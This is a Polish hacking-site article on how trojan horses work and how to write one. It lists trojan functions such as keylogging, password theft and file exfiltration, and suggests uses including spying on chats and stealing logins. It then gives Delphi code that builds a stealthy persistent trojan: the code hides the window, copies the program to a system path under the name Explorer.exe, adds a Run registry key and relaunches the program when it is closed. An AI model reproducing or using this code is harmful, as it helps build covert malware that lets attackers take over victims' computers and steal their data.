Tytuł strony
Strona główna | Mapa serwisu | English version


    Treści zamieszczone na tej stronie służą wyłącznie do treści edukacyjnej... Administracja nie bierze żadnej odpowiedzialności za szkody spowodowane praktykowaniem materiałów tej witryny! Wszystko robicie na swoją odpowiedzialność!!

Budowa i działanie Trojanów
Artykuły > Hakerstwo > Budowa i działanie Trojanów
Postaram się tu przekazać jak najwięcej wiedzy o budowie trojanów i ich działaniu.

SPIS TREŚCI:

1. Co to jest trojan
2. Co robi trojan po uruchomieniu w systemie
3. Do czego można go wykorzystać
4. Podstawowa budowa trojana
5. Przykładowy trojan
6. Łączenie się "Klienta" z "Serwerem"
7. Użycie trojanów

Ad.1

Koń trojański jest to pozornie nieszkodliwy program, który umożliwia przejęcie kontroli nad komputerem bez wiedzy właściciela. Można się nim zarazić na wiele sposobów, oglądając stronę www, otwierając plik od kolegi, ściągając "patch" do gry... Trojany w przeciwieństwie do wirusów nie powielają swojego kodu (przeważnie), doklejając się do różnych plików. Jest to o tyle dobre, że gdy odkryjemy trojana w swoim systemie łatwo go usunąć.

Trojany często wykorzystywane są przez administratorów systemów jako "Narzędzia zdalnej administracji" pozwalające im oszczędzić czas i ułatwić pracę ("Jak podają statystyki, ponad 80% wszystkich włamań do sieci Pentagonu, było przeprowadzonych właśnie przy użyciu tych "luk" pozostawionych przez administratorów).



Ad.2

Po uruchomieniu trojan kopiuje się przeważnie do katalogu z systemem operacyjnym (np. Windows), co powoduje że nawet po usunięciu pierwotnej kopii trojan nadal działa. Następnym krokiem jest spowodowanie aby trojan odpalał się przy uruchomieniu systemu. Najczęściej trojan dokonuje wpisu w rejestrze, w którymś z tych miejsc:

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRu nServices]
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRu n]
[HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun ]

Lub jak na przykład cafeini, jeżeli to możliwe dokleja swój kod do jakiegoś pliku, który używa system (w przypadku cafeini-ego jest to rundll32.exe)
Po tych czynnościach trojan otwiera ustalony wcześniej port na komputerze ofiary i rozpoczyna na nim nasłuch w oczekiwaniu na komendy.

Najczęściej trojany maja wbudowane następujące funkcje:
- przesyłanie informacji systemowych: nazwy komputera, nazwy użytkownika, typu procesora, wielkości pamięci, wersji Windows, zainstalowanych sterowników, etc.;
- wyświetlanie zawartości dysków;
- odszukiwanie określonych plików, a także ich wysyłanie, pobieranie, kopiowanie, usuwanie oraz uruchamianie;
- tworzenie i kasowanie katalogów;
- wyświetlanie i kończenie aktywnych procesów;
- udostępnianie rejestrów systemowych;
- pobieranie haseł znajdujących się w pamięci podręcznej;
- przechwytywanie znaków wprowadzanych przez użytkownika z klawiatury przyłączanie się do zasobów sieciowych;
- przechwytywanie transmitowanych informacji;
- przekierowywanie połączeń;
- uruchomienie prostego serwera HTTP dającego dostęp do komputera przez przeglądarkę; zawieszanie komputera;
- wyświetlanie okien z dowolnymi komunikatami;
- odgrywanie plików dźwiękowych;
- Zaawansowane konie trojańskie mogą być rozszerzane o dodatkowe funkcje poprzez zastosowanie plug-inów. Takie wtyczki mogą być rozprowadzane wraz z serwerem lub przesyłane do serwera i tam instalowane.

Ad.3

Najczęściej wykorzystuje się trojany do uprzykrzenia komuś życia i pokazania jaki to z nas "hakier".
Jednak istnieją także inne sposoby wykorzystania tego typu oprogramowania np.:
- podsłuch rozmów gg, czata innych
- uzyskiwanie haseł, loginów itp... (w ogóle wszystkich poufnych informacji)
- kontrola np. w szkole ucznia, czy nie robi czegoś niedozwolonego
- możliwość wykorzystania komputera jako narzędzia do ataku na jakiś serwer (ale w tym przypadku pojawia się taki termin jak robak)
- programu typu NetOP pozwalające na przykład na wyświetlanie prezentacji komputerowej na wszystkich komputerach jednocześnie z 1 stanowiska
- kontrola pracowników w firmie (np. Oko szefa)
- wykorzystanie przez administratorów (patrz Ad.1)
- itd. itp.....

Ad.4

Trojan składa się przeważnie z 4 części:

1. Część odpowiedzialna za ukrywanie jego obecności w systemie

Chodzi tu o to, że użytkownik nie wie, że załapał trojana na pasku startu (listwie) nie widać paska programu, na liście menadżera zadań nie widnieje nasz program, po uruchomieniu nic się nie pokazuje ... (Czasami jakaś informacja o błędzie)

2. Część odpowiedzialna za uruchamianie trojana przy starcie systemu

Czyli dopisywanie odpowiednich linijek do rejestru, kopiowanie kodu do jakiegoś pliku itp.

3. Część ochronna trojana

Kiedy użytkownik (mniej zaawansowany) odkryje obecność trojana w komputerze ten system zapobiegnie usunięciu programu z komputera.
Głównie jest to osiągane przez to, że podczas działania trojan stale dopisuje linijkę uruchamiającą go przy starcie, przy wyłączeniu samoistnie się włącza...

4. Część, w której zawarte są wszystkie funkcje trojana oraz elementy pozwalające połączyć się z zainfekowanym komputerem

Innymi słowy funkcje zamieszczone w Ad.2 oraz system bindujący się na jakimś porcie (otwierający dany port) i nasłuchujący zewnętrznych komend, które program interpretuje i wywołuje odpowiednią funkcję.

Ad.5
Trojany oczywiście można pisać w każdym języku programowania, lecz Delphi udostępnia wiele gotowych rozwiązań. (jak na przykład system komunikacji pomiędzy komputerami, który bardzo skraca czas tworzenia trojana) Oczywiście najlepiej pisać tego typu programy w asemblerze, gdyż jest to język podstawowy, na którym opierają się pozostałe. Program napisany w asm jest krótszy, ponieważ nie zawiera zbędnych rzeczy ale w tym przypadku nasz kod źródłowy miałby kilkanaście albo i więcej stron. Podczas gdy w Delphi zapiszemy jedynie kilkanaście linijek :).

Ten artykuł pokazuje jak napisać takiego trojanika: [ www ]

Ja dodałbym do tego kilka rzeczy:

1. Ukrywanie:

a.
Żeby nasz program nie wyświetlał się na pasku startu (listwa) w menu Project klikamy na View source i zamieniamy wszystko co tam jest na to:


Kod:

program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Windows;

{$R *.RES}

var ExtendedStyle:integer;
begin
Application.Initialize;
ExtendedStyle:=GetWindowLong(Application.Handle, GWL_EXSTYLE);
SetWindowLong(Application.Handle,GWL_EXSTYLE,ExtendedStyle or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
Application.CreateForm(TForm1, Form1);
Application.Run;
end.


b.
Chcemy aby forma miała 0 pixeli szerokości i wysokości:
Klikamy na Form1 i zmieniamy zakładkę na Events. Tam szukamy OnCreate i klikamy dwukrotnie na białe pole po lewej. Pojawił się nam kod procedury, gdzie wpisujemy:


Kod:

form1.Width:=0;
form1.Height:=0;


2. Uruchamianie przy starcie systemu:

w źródle programu szukamy linijki, w której jest napisane "var". Pod nią piszemy:


Kod:

var
Form1: TForm1;
Reg:Tregistry; {<--- to}
implementation


w źródle programu szukamy linijki, w której jest napisane "uses". Pod nią piszemy:


Kod:

uses
Windows, Messages, SysUtils, Classes, {>>>} Registry {<<< (dopisujemy tylko to !!!)} , Graphics, Controls, Forms, Dialogs,
ScktComp;


Klikamy na Form1 i zmieniamy zakładkę na Events. Tam szukamy OnCreate i klikamy dwukrotnie na białe pole po lewej. Pojawił się nam kod

procedury, gdzie wpisujemy:


Kod:

{Wpis do rejestru}
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun', True);
Reg.WriteString('shell', 'c:windowssystemExplorer.exe');
finally
Reg.Free;
end;

{Kopiowanie plików}
copyfile( PChar(paramstr(0)), 'c:windowssystemExplorer.exe', true);


3. Zapobieganie wyłączeniu

Tutaj chodzi o wstawienie timera i ciągłym dokonywaniu wpisu w rejestrze i kopiowaniu pliku do katalogu windows (to jest powtórzenie tego co pisałem, więc tego nie napiszę)

+

Przy wyłączeniu trojana włączanie go poprzez funkcję:

Klikamy na Form1 i zmieniamy zakładkę na Events. Tam szukamy OnDestroy i klikamy dwukrotnie na białe pole po lewej. Pojawił się nam kod procedury, gdzie wpisujemy:


Kod:

winexec(pchar(paramstr(0)), 1);


4. Funkcje trojana i mechanizm łączenia się komputerów są opisane w artykule:
Ad.6
Łączenie klienta z serwerem omówię na przykładzie 2 komputerów znajdujących się w tej samej sieci lokalnej:

A więc mamy 2 komputery:
1. Komputer "A" IP*: 10.0.0.1 - zainstalowany serwer (plik trojana dający kontrole nad komputerem)
2. Komputer "B" - uruchomiony klient (program pozwalający połączyć się z serwerem, czasami wystarczy jedynie program tyu telnet bądź inny podobny)

I teraz nasz programik otwiera na komputerze A przykładowo port 7834. Komputer B chce połączyć się z komputerem A, więc klient próbuje używając protokołu TCP/IP (czasami inne np. UDP - skrajne przypadki) połączyć się z komputerem A. Możliwe jest to dzięki temu, że znamy identyfikator sieciowy komputera A, czyli jego adres IP oraz otwarty port. Spytacie skąd komputer wie, z którym komputerem ma się połączyć. Ano wie to stąd, że gdy włączamy komputer z zainstalowanym oprogramowaniem sieciowym, który podłączony jest do sieci, nasz komputer uzyskuje informacje o innych komputerach w sieci i dzięki temu oba komputery "widzą się" wzajemnie. (znają swoje adresy IP, i inne dane np. nazwa itp. Z Internetem sprawa już się komplikuje i nie będę tu o tym pisał.)

Nawiązaliśmy połączenie, więc możemy przystąpić do wysyłania poleceń, czyli przesyłania odpowiednich danych, które powodują po odpowiedniej interpretacji przez program wywołanie odpowiednich funkcji w trojanie...


*IP - Adres IP, adres protokołu IP. Cztery bajty określające komputer w Internecie. Każdy podłączony do sieci komputer musi mieć unikalny i niezmienny adres IP

*TCP/IP - (ang. Transmission Control Protocol) zbiór protokołów obsługujących transmisję danych w sieci. Za pomocą TCP/IP przesyłane są dane wszystkich aplikacji komunikujących się przez sieć.
Czytaj więcej: [ www ]

*Porty protokołu (port)- to pojęcie związane z protokołem TCP-IP używanym w Internecie do rozróżniania wielu różnych usług i połączeń na serwerze. Porty protokołu są oznaczone za pomocą liczb całkowitych z zakresu od 1 do 65535.

Mam nadzieje, że komuś to się do czegoś przyda...

POZDRO
To jest stopka